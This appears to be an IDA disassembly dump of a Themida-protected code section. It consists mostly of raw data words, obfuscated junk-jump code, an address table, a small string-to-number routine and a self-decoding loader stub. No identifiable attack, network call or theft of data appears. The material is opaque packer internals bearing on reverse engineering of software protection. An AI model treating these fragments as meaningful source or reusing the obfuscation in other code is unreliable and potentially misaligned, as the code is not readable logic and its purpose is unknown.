dd 32A61B5h, 325E906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 0B4379C3h, 4D1385C7h
dd 50603h, 81660000h, 0B89C5BC3h, 5, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 42C35343h, 9E8h, 9149ED00h
dd 68747169h, 9D8B002Eh, 6032A35h, 0E9D98B5Bh, 877h, 2E519D8Bh
dd 0F8830603h, 44850F02h, 6A000001h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0DC7FC351h
dd 0A1198EA6h, 1C39B589h, 0B80603h, 8B000000h, 3025D9Dh
dd 0FC00B06h, 0F684h, 5E900h, 0D33C0000h, 83F28597h, 840F01F8h
dd 0FFFFFF58h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Dh, 0E8C35545h, 0DCBA1AFAh, 0CAE837D3h, 0D9D8B8Ch
dd 83060328h, 840F03F8h, 0FFFFFEBAh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 0E9C35747h, 49300B62h, 0B70F517Eh
dd 6AC02BDBh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 18042444h, 40000000h, 0AB3CC350h, 60CF1944h, 10899503h
dd 0B50B0603h, 6030289h, 74BD8D61h, 6A005B79h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 0B75BC353h, 437B2651h, 0BBC2C98Dh, 1F3A8DAFh, 0AC5958Bh
dd 0E7FF0603h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 99C35040h, 79BD8918h, 8D06032Ch, 3453CBDh, 81950906h
dd 0E906031Fh, 16Bh, 83F9C380h, 850F03F8h, 63h, 46D0BD8Dh
dd 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 0FF569C3h, 9C11D44Bh, 6800F69h, 9000000h
dd 311159Dh, 125E906h, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1C0424h, 50400000h, 925579C3h, 5209A7EDh
dd 4DBB7BD2h, 8346A2F9h, 850F05F8h, 0Eh, 0B719D89h, 0A4E90603h
dd 0F000006h, 0F883D6BFh, 50850F06h, 60000000h, 0A97D081h
dd 85032E13h, 6033061h, 0C8BD8D61h, 89060348h, 32525BDh
dd 0BDE906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 10E96BC3h, 1B000000h, 9EEB779Dh
dd 0EE6119CEh, 1C8ED385h, 83C8F72Dh, 850F07F8h, 38h, 1BC4CB81h
dd 0BD8D25A6h, 6030D05h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 0F2C35646h, 0E3ADBED4h, 0B1E919h, 0B5290000h
dd 6031145h, 0F0AF883h, 4285h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 6E8409A1h
dd 17A1958Bh, 0B5090603h, 6032509h, 20B99D8Bh, 0BD8D0603h
dd 6034AC0h, 0E9D38B66h, 3, 57D18B66h, 10799D89h, 6FB90603h
dd 81516351h, 0CA23ECE3h, 3F8307h, 41840Fh, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 0A522B0C3h, 8D01106Ch, 6033085h, 0CE800F30h, 8BC9D194h
dd 0BD3147D1h, 603297Dh, 0FFFFBCE9h, 0CD9D8BFFh, 5F060328h
dd 89DE8B66h, 34CBCBDh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1404h, 0C3534300h, 0A98D8916h, 8D06030Ch
dd 31DA58Dh, 2840F06h, 0B3000000h, 0F1B5FFBAh, 6A060320h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 0AD1BC357h, 0E9CBA3FEh, 0D38B8FF5h, 14E9h
dd 0E9A3E400h, 0A4B813FDh, 0D73A3D33h, 237C170Bh, 269493h
dd 0C3858D28h, 500605A3h, 53C6BD8Dh, 8D8D0603h, 603701Fh
dd 831ABCB8h, 30CF2B54h, 47C8D007h, 8DF87549h, 36F87B5h
dd 378D8D06h, 2B060370h, 33A4F3CFh, 0B8C9h, 0C00B0000h
dd 0BD834674h, 6030CC9h, 0FF067400h, 32A1D95h, 0BCB58B06h
dd 8D06034Ch, 5A3C385h, 8DD0FF06h, 3412285h, 0C7D0FF06h
dd 30A7185h, 106h, 0F1A58B00h, 8B060313h, 31B1DB5h, 61AD8B06h
dd 33060304h, 0CC2C0h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 0E2C35242h, 0A65E189Bh, 0BD8913E8h, 603236Dh
dd 0BD83F38Ah, 6031BB1h, 0F840F00h, 80000000h, 95FF2EC3h
dd 6031109h, 1D758501h, 0BD830603h, 6032E85h, 7F850F00h
dd 0E9000001h, 0Bh, 57A954C5h, 2C5908E2h, 83C7667Ch, 31E91BDh
dd 850F0106h, 162h, 83DBBF0Fh, 31BDDBDh, 840F0006h, 152h
dd 2C99D0Bh, 0BD830603h, 6034D0Fh, 3F840F00h, 6A000001h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 6A63C357h, 70B6BB6Ah, 858D7750h, 605A3C3h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0E7C35747h
dd 617763D9h, 8B5AF851h, 34CBCB5h, 299D8B06h, 8B060303h
dd 313059Dh, 50D0FF06h, 78F38166h, 85C65A70h, 6032F39h
dd 64F78054h, 4FD48168h, 0F98A5394h, 2434815Bh, 6B016A75h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 34C35141h
dd 7E8h, 861AFE00h, 6F8938D0h, 59B5FF5Ah, 6A060313h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 9031C356h, 42EBEB12h, 637ECBD2h, 1CB5BD89h, 0BD310603h
dd 6030109h, 38A7858Dh, 830F0603h
dd 4, 0FBF9BA66h, 0EF80D0FFh, 8B006A9Fh, 31FF6ADAh, 33139B5h
dd 66D0FF06h, 0FACEEB81h, 2215B5FFh, 6A0603h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0B89D22C3h
dd 128CDA3Eh, 0BD09CB6Fh, 6032901h, 20F195FFh, 0B58B0603h
dd 6034CBCh, 6AC3DA8Bh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 518BC353h, 0A1E5D192h
dd 8B52426Bh, 301FDB5h, 72BB6606h, 0FF60B4Ah, 2884h, 0C6DA8A00h
dd 6A0006h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
dd 51410000h, 0B4CCABC3h, 0F38166h, 0C4858926h, 0F06034Ch
dd 0C8Ah, 6810F00h, 0F000000h, 83h, 0F88300h, 2D5840Fh
dd 9D8B0000h, 6031281h, 0B8h, 0D6BF0F00h, 0F00F883h, 0A884h
dd 13E900h, 0FFF00000h, 1A22CFB0h, 2221EC92h, 0C0E21F2Ch
dd 0F627EBCEh, 2F883F0h, 6D850Fh, 14B70000h, 433F858Dh
dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 31400DC3h, 0BB8CB9A5h, 9292DEEh, 0EE80000h
dd 9F000000h, 12945FA6h, 7E9124A7h, 44A6C2E9h, 5AD780AAh
dd 6651505Bh, 895ADF8Bh, 33522404h, 309E19Dh, 0E9C35B06h
dd 0Fh, 3AA07A07h, 2C6653DCh, 0FDEC8EE3h, 0B8CD2C38h, 0
dd 0E9DFBF0Fh, 223h, 8E9h, 9D430B00h, 52C9FDEFh, 1B892h
dd 8D010000h, 603225Dh, 0BD8D4CB3h, 6034344h, 3810Fh, 0DA800000h
dd 0B8E952h, 9D8B0000h, 60317A9h, 0F02F883h, 4585h, 8BDA8B00h
dd 32D159Dh, 3CBD8D06h, 0E9060345h, 9, 0C86599A8h, 8EFE27Ch
dd 88E9BCh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 0C380D6C3h, 3642BB22h, 0F8833793h
dd 33850F03h, 66000000h, 8DE8B4BAh, 346D0BDh, 13E806h
dd 0CB180000h, 8FB20A4Ch, 2E4BD9FFh, 0E65ED801h, 8CF65BF7h
dd 0E281666Eh, 0E95A5771h, 2Eh, 2CB19589h, 0F8830603h
dd 1F850F05h, 0FC000000h, 86E9h, 14E900h, 0F9FD0000h, 0BAB6660Dh
dd 8C5D36C0h, 7E7B539Fh, 2C6C4193h, 6A575741h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 0B98EC351h, 5163516Fh, 3800Fh, 0B70F0000h, 3F83DFh
dd 39840Fh, 93B60000h, 85290F30h, 6030FB1h, 6AC9D1h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 2C9774C3h, 13F33D42h, 0DE8B6647h, 0FFFFC0E9h, 838EB6FFh
dd 850F05F8h, 0C7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 0A5C35343h, 0D2FD4EFBh, 90B61ECh, 300199Dh
dd 0D98C6606h, 0C1F6D18Ah, 3B850F04h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 622AC353h, 0E39E064Eh, 0B8C0h, 0DF800000h, 61E959h
dd 0B5290000h, 6030361h, 31F58589h, 858B0603h, 60331DDh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 36C35646h
dd 6606FD9Ah, 0FF08C2BAh, 50006AE0h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 7240B8EFh
dd 0F753296h, 287h, 83DF8B00h, 320F1BDh, 850F0006h, 0BBh
dd 10299D8Bh, 0E9500603h, 14h, 70A86539h, 8C3C4B17h, 593F954Ch
dd 0EB96DDD9h, 6EF41E8Fh, 8B240489h, 30CCD9Dh, 8B665006h
dd 85C65ADAh, 6032F39h, 24BB6645h, 0A9BB6674h, 26DB68B1h
dd 870F663Dh, 11h, 9E8h, 7F76BA00h, 8905CF29h, 1FB35252h
dd 2404815Ah, 2835428Eh, 35F28166h, 59B5FF35h, 0BA060313h
dd 789CB95Fh, 38A7858Dh, 6A0603h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 5E4FBAC3h, 8BD0FF53h
dd 0F18589D1h, 0E8060320h, 9, 4E3A7A21h, 86B61A4Eh, 21950164h
dd 5B06032Ah, 25958B58h, 83060313h, 34D13BDh, 840F0006h
dd 39h, 0F9A9BA66h, 2215B5FFh, 6A0603h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 190424h, 53430000h, 39814FC3h
dd 8AC3CFB7h, 0F195FFFDh, 89060320h, 31139BDh, 0F88306h
dd 0D6850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 170424h, 56460000h, 798A74C3h, 0BE943h, 35C90000h, 3E859BB5h
dd 5F67AB1Dh, 0E1958B6Fh, 8306031Bh, 33059BDh, 840F0006h
dd 38h, 0B5FFD38Bh, 6033059h, 0BC03BFBBh, 1B87Ah, 0FE80000h
dd 1A000000h, 0AEB1084Ah, 0A8E747BEh, 0BB5C5462h, 85311E9Eh
dd 60303F9h, 1ACE95Bh, 8D890000h, 6030255h, 2215B5FFh
dd 0E6800603h, 15B5FF53h, 0E9060322h, 9, 84D1239Ah, 1901D176h
dd 0F1B5FFA2h, 6A060320h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1A042444h, 41000000h, 2897C351h, 3453160h
dd 0B589609Eh, 6030F2Dh, 4456BA66h, 150E961h, 958B0000h
dd 6030C71h, 0C890F5Fh, 0F000000h, 688h, 840F00h, 83000000h
dd 31AE1BDh, 850F0006h, 7Dh, 45B86660h, 870F61ECh, 6, 2C459D89h
dd 85C60603h, 6032F39h, 319D8B4Dh, 6806031Fh, 0B3B7698Fh
dd 3481DA8Bh, 821F2724h, 0C1958B17h, 0FF06031Bh, 32D11B5h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 0C9373A1Dh, 6BE22074h, 0F59BD29h, 858D0603h
dd 60338A7h, 0FAAABB66h, 8B66D0FFh, 0E18589D6h, 8906031Ah
dd 323AD8Dh, 0B806h, 95890000h, 60324E9h, 4CBCBD89h, 0BD890603h
dd 60326BDh, 840FC00Bh, 34h, 88E9FCh, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 800F63C3h, 6, 1CA18529h, 0B5310603h, 60330EDh, 20F1B5FFh
dd 0ECBB0603h, 8D6FD792h, 5A3C385h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 85388CE8h
dd 38A0Fh, 8B660000h, 8E8DEh, 1F9D0000h, 0BE34C82Dh, 8D89968Dh
dd 6031B89h, 0B650905Bh, 66505B0Ch, 90A987BAh, 5650D48Ah
dd 53C6BD8Dh, 8D8D0603h, 6037903h, 8323BCB8h, 30CF2B74h
dd 47C8D007h, 5EF87549h, 59BD8358h, 60330h, 8D8B0674h
dd 6030111h, 0B8C933h, 0B000000h, 99840FC0h, 83000000h
dd 30CC9BDh, 6740006h, 2A1D95FFh, 0B80603h, 0B000000h
dd 830975C0h, 34CC4BDh, 9740106h, 4CC4BD83h, 75020603h
dd 0BCB58B0Eh, 8D06034Ch, 5A3C385h, 8DD0FF06h, 3412285h
dd 83D0FF06h, 32C69BDh, 2F750206h, 13F1A58Bh, 858B0603h
dd 6033059h, 0C7240489h, 30A7185h, 106h, 0C0B58B00h, 8B06034Ch
dd 30461ADh, 1B806h, 0CC20000h, 0C700EB00h, 30A7185h, 106h
dd 0F1A58B00h, 8B060313h, 31B1DB5h, 61AD8B06h, 33060304h
dd 0CC2C0h, 1BB1BD83h, 74000603h, 9BD830Fh, 60311h, 95FF0674h
dd 6031109h, 4CBCB58Bh, 89C30603h, 330D995h, 0EBA6606h
dd 7D958B16h, 2B06030Ah, 50006AD2h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 344C1DF9h, 0F0BEC122h
dd 0E0DB8166h
db 8Ah
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push edi
push edx
push esi
mov edi, [ebp+8]
xor eax, eax
jmp short loc_5436A1
; ---------------------------------------------------------------------------
loc_54369F: ; CODE XREF: Themida_:005436A4j
inc eax
inc edi
loc_5436A1: ; CODE XREF: Themida_:0054369Dj
cmp byte ptr [edi], 0
jnz short loc_54369F
xor ecx, ecx
mov edi, [ebp+8]
jmp short loc_5436D0
; ---------------------------------------------------------------------------
loc_5436AD: ; CODE XREF: Themida_:005436D2j
xor edx, edx
mov dl, [edi]
sub dl, 30h
mov esi, eax
dec esi
push eax
mov eax, edx
push ebx
mov ebx, 0Ah
jmp short loc_5436C5
; ---------------------------------------------------------------------------
loc_5436C2: ; CODE XREF: Themida_:005436C8j
mul ebx
dec esi
loc_5436C5: ; CODE XREF: Themida_:005436C0j
cmp esi, 0
ja short loc_5436C2
pop ebx
add ecx, eax
pop eax
inc edi
dec eax
loc_5436D0: ; CODE XREF: Themida_:005436ABj
or eax, eax
jnz short loc_5436AD
mov eax, ecx
pop esi
pop edx
pop edi
pop ecx
leave
retn 4
; ---------------------------------------------------------------------------
dw 8960h
dd 3106595h, 11858B06h, 6106031Ah, 80DFB70Fh
db 0C7h, 31h
; ---------------------------------------------------------------------------
loc_5436F2: ; CODE XREF: Themida_:loc_54098Bj
mov eax, ecx
jmp loc_5655FD
; ---------------------------------------------------------------------------
dd offset byte_5AB47F
dd offset byte_5AAF8D
db 68h, 0FFh, 12h
dd 0
dd 5AB47F00h, 59003F00h, 59002802h, 24602h, 200h, 100h
dd 400h, 50BC7400h, 0FAh, 4 dup(0)
dd 547CDE00h, 54BB4200h, 5473C400h, 54C52D00h, 54840A00h
dd 54573B00h, 54F43200h, 54729D00h, 549E0A00h, 54C26600h
dd 544F8D00h, 54807700h, 544BD600h, 54694400h, 54944800h
dd 54C93F00h, 54C39F00h, 549D6500h, 54AC5F00h, 546A7600h
dd 54568700h, 548E3F00h, 54DCBF00h, 544B8000h, 54D87800h
dd 54597700h, 54DC3A00h, 54451200h, 54C49000h, 54407F00h
dd 54D14700h, 54ED3000h, 547BED00h, 54E4BF00h, 5484F300h
dd 5449C600h, 54EC8500h, 54D4C100h, 54ACCC00h, 54E26200h
dd 54E9AB00h, 5466CD00h, 543B0B00h, 54F01D00h, 548F9E00h
dd 54C58500h, 54C4DD00h, 54F33400h, 54D60B00h, 5462D700h
dd 54FB2500h, 54913400h, 54B3CF00h, 54439C00h, 54C3CA00h
dd 54883800h, 54B7DC00h, 54649800h, 543F7300h, 54DCFD00h
dd 5464A300h, 54E56F00h, 54C3F000h, 549FD800h, 54F57D00h
dd 5479E200h, 54F5CF00h, 549F3400h, 54F6E700h, 544B9700h
dd 54DB4600h, 54510400h, 54C28D00h, 54D7B000h, 545FF300h
dd 54C84D00h, 54592E00h, 54CF7700h, 54AAD800h, 54880B00h
dd 54AFD200h, 548E0700h, 543AC300h, 54BBEF00h, 548AF300h
dd 54774800h, 54DCDF00h, 54650300h, 54BF5B00h, 547AB200h
dd 54D70700h, 54524100h, 54AF5800h, 54B83B00h, 5468F000h
dd 54C18000h, 5457A200h, 54F82C00h, 5442C600h, 54723300h
dd 543A3E00h, 548D6E00h, 54F73200h, 5461A700h, 54946100h
dd 54EBA600h, 54F64A00h, 54DE8400h, 54533B00h, 54BE7200h
dd 54B3F100h, 54C73400h, 5478EA00h, 54C10800h, 54764800h
dd 54605D00h, 54ECA600h, 549C9400h, 54685900h, 54E7D400h
dd 54AE5E00h, 54C8FC00h, 548C9F00h, 543C3F00h, 54954E00h
dd 5489EA00h, 5485E800h, 54808A00h, 54691500h, 5492BC00h
dd 54406300h, 54909200h, 545D2100h, 54BA4700h, 54F0DB00h
dd 54607D00h, 54415E00h, 54583900h, 54EBC800h, 547C7200h
dd 54A44000h, 545A6C00h, 54980300h, 54860B00h, 544F6C00h
dd 54C6B800h, 54BCBD00h, 546F0200h, 544A9B00h, 54D13300h
dd 543B4600h, 54B5AD00h, 544BAE00h, 54B74100h, 54A48D00h
dd 545BAE00h, 54F95800h, 547ACF00h, 547A3500h, 54C47B00h
dd 54B2B300h, 547F1D00h, 54994000h, 54A06500h, 54717F00h
dd 54641F00h, 545CC600h
db 0
; ---------------------------------------------------------------------------
loc_5439D9: ; CODE XREF: Themida_:00576320j
; Themida_:005921F1j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 6037D6Dh
mov eax, edi
add edi, 6037A85h
cmp eax, [edi+2Ch]
jnz short loc_5439F7
jmp short loc_543A0A
; ---------------------------------------------------------------------------
loc_5439F7: ; CODE XREF: Themida_:005439F3j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_543A06
; ---------------------------------------------------------------------------
loc_543A01: ; CODE XREF: Themida_:00543A08j
add [edi+ecx*4+40h], eax
dec ecx
loc_543A06: ; CODE XREF: Themida_:005439FFj
or ecx, ecx
jnz short loc_543A01
loc_543A0A: ; CODE XREF: Themida_:005439F5j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_543A17: ; CODE XREF: Themida_:00543A1Ej
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_543A17
loc_543A20: ; CODE XREF: Themida_:005458E8j
; Themida_:loc_545BD3j ...
lodsb
xor al, bl
push edx
jmp loc_549D8D
; ---------------------------------------------------------------------------
aQsz db '·q釱',0
align 10h
a341434S_ db '34$14$34$é_´',0
align 2
dw 0FF64h
dd 0FFDAE932h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_543A46: ; CODE XREF: Themida_:005499CDj
mov [esp], ebp
mov ebp, 4
jmp loc_545EF8
; ---------------------------------------------------------------------------
db 83h
dd 0BF5704C4h, 0E2F73A5h, 2CF1E947h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_543A62: ; CODE XREF: Themida_:0054BEE7j
mov [esp], ecx
push 4
pop ecx
push ebx
mov ebx, 0BDE6998h
and ebx, 7EB70256h
not ebx
jmp loc_547838
; ---------------------------------------------------------------------------
loc_543A7E: ; CODE XREF: Themida_:0054B062j
mov ebp, [esp]
add esp, 4
jmp loc_546F8B
; ---------------------------------------------------------------------------
dd 5024B850h, 442904F5h, 8B580824h, 0C4E92404h
db 0B8h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_543A9F: ; CODE XREF: Themida_:00546B25j
add edx, edi
add edx, 18E43009h
pop edi
xchg edx, [esp]
pop esp
jmp loc_54C0A2
; ---------------------------------------------------------------------------
db 59h, 33h, 14h
dd 24143124h, 8B241433h, 0FBE92424h, 0AD000091h, 956AE9h
dd 0E9D72900h, 7CA7h, 50665A66h, 64F0B866h, 0E9C23166h
dd 6ADCh, 50241C8Bh, 0BE56E089h, 4, 55EF001h, 4, 5C240487h
dd 8B240487h, 0E1F72424h, 83CAE9h
db 0
; ---------------------------------------------------------------------------
loc_543B05: ; CODE XREF: Themida_:0054F669j
pop esp
jmp loc_54955C
; ---------------------------------------------------------------------------
db 66h
dd 83240C8Bh, 76E904ECh, 3300004Fh, 248B2434h, 4F3AE924h
dd 815D0000h, 553874CDh, 631AE93Ch, 0D3F70000h, 0EB81DBF7h
dd 1A7663Ah, 815BDA01h, 2390BEC2h, 52CE97Dh, 0C8B0000h
dd 9B55E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_543B4E: ; CODE XREF: Themida_:00547923j
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
xor ecx, 2FB0367Ch
push 6BFAh
jmp loc_547959
; ---------------------------------------------------------------------------
aFqsG db 'fQ霃',0
db 0
; ---------------------------------------------------------------------------
loc_543B73: ; CODE XREF: Themida_:0054E625j
add esp, 4
jmp loc_54C82E
; ---------------------------------------------------------------------------
dw 895Ch
dd 0B050241Ch, 4EC83DFh, 0E9240C89h, 8C61h
; ---------------------------------------------------------------------------
loc_543B90: ; CODE XREF: Themida_:00545085j
mov [esp], edx
sub dword ptr [esp], 18263F72h
pop eax
add eax, 18263F72h
pop edx
sub esp, 4
mov [esp], ebp
push edx
push 535449E2h
pop edx
jmp loc_54BC81
; ---------------------------------------------------------------------------
db 53h
dd 0DBE9h, 0CEF58000h, 8059EA30h, 9FE9B5F2h, 8100005Ah
dd 0DA7F9AEFh, 5E7C161h, 4EB3E781h, 0EF814CF2h, 0FFFFFFFFh
dd 1232E9h, 5FF80100h, 8704E883h, 895C2404h, 2BE2434h
dd 1000000h, 3C875EF7h, 24248B24h, 0BC14E9h, 24343300h
dd 0E9243431h, 2408h, 8102EAC1h, 0D8FE31EAh, 5AD301C6h
dd 5EADBA52h, 0D30139D8h, 55ADE9h, 0E9526600h, 3209h
; ---------------------------------------------------------------------------
loc_543C2C: ; CODE XREF: Themida_:0054A8F0j
xor eax, [esp]
jmp loc_546BC4
; ---------------------------------------------------------------------------
dd 691EBD55h, 0C6E962ADh, 0FF0000A7h, 0E9592434h, 121h
dd 59B5ED81h, 0EAE9DD17h, 68000050h, 3E0Ah, 56241C89h
dd 0EE5BB9BEh, 5EF38949h, 156CEB81h, 0B2E9E108h, 0B800002Dh
dd 3D755112h, 48BC221h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_545248
; ---------------------------------------------------------------------------
loc_543C87: ; CODE XREF: Themida_:0054CAC8j
push 0D71h
mov [esp], edx
jmp loc_544520
; ---------------------------------------------------------------------------
dd 71B201B7h, 41C4E9h, 4EA8100h, 87000000h, 895C2414h
dd 0A6B82404h, 1015A3Ch, 0BD5558C3h, 19530476h, 5E9DDF7h
dd 8B000066h, 9AE92424h, 5500000Fh, 30BB0BDh, 4E6FE977h
dd 0C7830000h, 243C8704h, 20DDE9h, 4BF00h, 0EE810000h
dd 5AFE0AA8h, 0C681FE01h, 5AFE0AA8h, 4C6815Fh, 33000000h
dd 34312434h, 24343324h, 6824248Bh, 12D5h, 0E9241489h
dd 8372h, 7355C281h, 0D6E97690h, 66000028h, 0E9240C89h
dd 0FFFFFCFCh, 8324348Bh, 0C78104C4h, 4, 372E68h, 243C8900h
dd 42474FFh, 6B45E9h, 0E1895100h, 4C181h, 27E90000h, 89000016h
dd 6EBB241Ch, 2921CE44h, 1585BDAh, 47BE56C2h, 57327A61h
dd 76B6E9h, 4EC8300h, 0E9240C89h, 1F58h, 5AD4EF81h, 535E64FAh
dd 2BBh, 5BDF0100h, 31243C33h, 3CE9243Ch, 29000021h, 79E95DEEh
dd 81000093h, 27778EDh, 1B57E945h, 0C1810000h, 3A4F4C2Ah
dd 8159CA29h, 494CC2F2h, 7036E91Bh, 89500000h, 405E0h
dd 0C0830000h, 5E3E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_543DC6: ; CODE XREF: Themida_:00545AA2j
xor esi, 0F8FDA92Ch
add ebx, esi
pop esi
mov ebp, ebx
pop ebx
and eax, ebp
jmp loc_54D9A8
; ---------------------------------------------------------------------------
db 89h, 34h, 24h
dd 4BEh, 5EF18900h, 0E959CE29h, 7F9Ch, 0FFFC2FE9h, 70AB68FFh
dd 0F75E612Bh, 0EED146D6h, 1179B951h, 0C9815073h, 22834878h
dd 81D9F749h, 1C521C1h, 0E9CE2977h, 0A20Fh
; ---------------------------------------------------------------------------
loc_543E18: ; CODE XREF: Themida_:005495C4j
add ebx, ecx
push ebp
jmp loc_5458C1
; ---------------------------------------------------------------------------
loc_543E20: ; CODE XREF: Themida_:0054541Cj
not dword ptr [esp]
pop edx
sub edx, 0CBC48F85h
jmp loc_54CAA1
; ---------------------------------------------------------------------------
loc_543E2F: ; CODE XREF: Themida_:00548FFDj
mov [esp], ecx
sub esp, 4
mov [esp], esi
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
xor dword ptr [esp], 69365607h
pop ebx
xor ebx, 69365607h
pop ecx
mov edi, ebx
push dword ptr [esp]
pop ebx
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_54EE84
; ---------------------------------------------------------------------------
db 0C1h
dd 0EDC107EDh, 0FCC58103h, 8941EDBEh, 0BF575DEAh, 41FE674Ch
dd 253BEA81h, 0DBE922A4h, 810000B7h, 4ECh, 8B11E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_543E9E: ; CODE XREF: Themida_:0054F477j
push eax
add dword ptr [esp], 36A91B3Bh
jmp loc_54CD4B
; ---------------------------------------------------------------------------
loc_543EAB: ; CODE XREF: Themida_:005448CDj
sub edi, 411C0943h
add edi, 381628DCh
sub edi, eax
sub edi, 381628DCh
add edi, 411C0943h
pop eax
sub edi, 0BDA3939Ch
and eax, edi
push dword ptr [esp]
pop edi
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_54E43D
; ---------------------------------------------------------------------------
dd 4C681h, 13E90000h, 8800006Ch, 24048BC3h, 0E9E38953h
dd 4308h, 5C240487h, 0BB241C89h, 7A2904E7h, 4D0EE9h, 45123500h
dd 0C701590Bh, 8124048Bh, 4C4h, 2C78300h, 31243C33h, 3C33243Ch
dd 1BE95C24h, 8900002Dh, 9C502414h, 0FFFAE3E9h, 0B25253FFh
dd 0E9D388F1h, 716Bh
; ---------------------------------------------------------------------------
loc_543F48: ; CODE XREF: Themida_:0054994Dj
push eax
mov eax, 3DBE6272h
push edi
mov edi, 214340B5h
jmp loc_549DBE
; ---------------------------------------------------------------------------
aBRSiq db 'êÏ-R&é©q',0
align 4
dd 4F11BE56h, 74010F6Dh, 6BE90424h, 0AC000017h, 2E2D68h
dd 13E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_543F7E: ; CODE XREF: Themida_:005447DEj
sub esp, 4
mov [esp], eax
jmp loc_54E202
; ---------------------------------------------------------------------------
db 0C1h, 0E9h, 8
dd 1FDAE9h, 24148900h, 0E994B450h, 63D2h, 0E9FBF680h, 41DCh
dd 14F7515Fh, 0E9815924h, 0F5FCFED7h, 4D13C781h, 0CF01797Ch
dd 4D13EF81h, 53E9797Ch, 0BD00009Fh, 614B6A75h, 5B3DE9h
dd 2CD00000h, 5B5A6669h, 27D9E952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_543FDA: ; CODE XREF: Themida_:0054F189j
xchg ebx, esi
jmp loc_54BC3B
; ---------------------------------------------------------------------------
loc_543FE1: ; CODE XREF: Themida_:0054663Ej
xor eax, [esp]
mov esp, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_549BA9
; ---------------------------------------------------------------------------
db 5Fh
dd 835EF201h, 148704EAh, 34895C24h, 57E68924h, 0B44EADBFh
dd 57C78105h, 0E9FA4BB1h, 102Eh, 8685758h, 5F6B6C7Ch, 79B8F781h
dd 0EFD15AB8h, 70C8CF81h, 0E7C10FFDh, 37BDE906h, 0EC810000h
dd 4, 0FF240C89h, 8B042474h, 0C481240Ch, 4, 5C24048Fh
dd 9C240401h, 0FFF9C3E9h, 9BE955FFh, 0FF000014h, 669D1C77h
dd 241CD359h, 0F9AEE99Ch, 0E981FFFFh, 3798587Dh, 7EE9D101h
dd 64000041h, 66028B66h, 66486268h, 0E9240489h, 0FFFFF990h
; ---------------------------------------------------------------------------
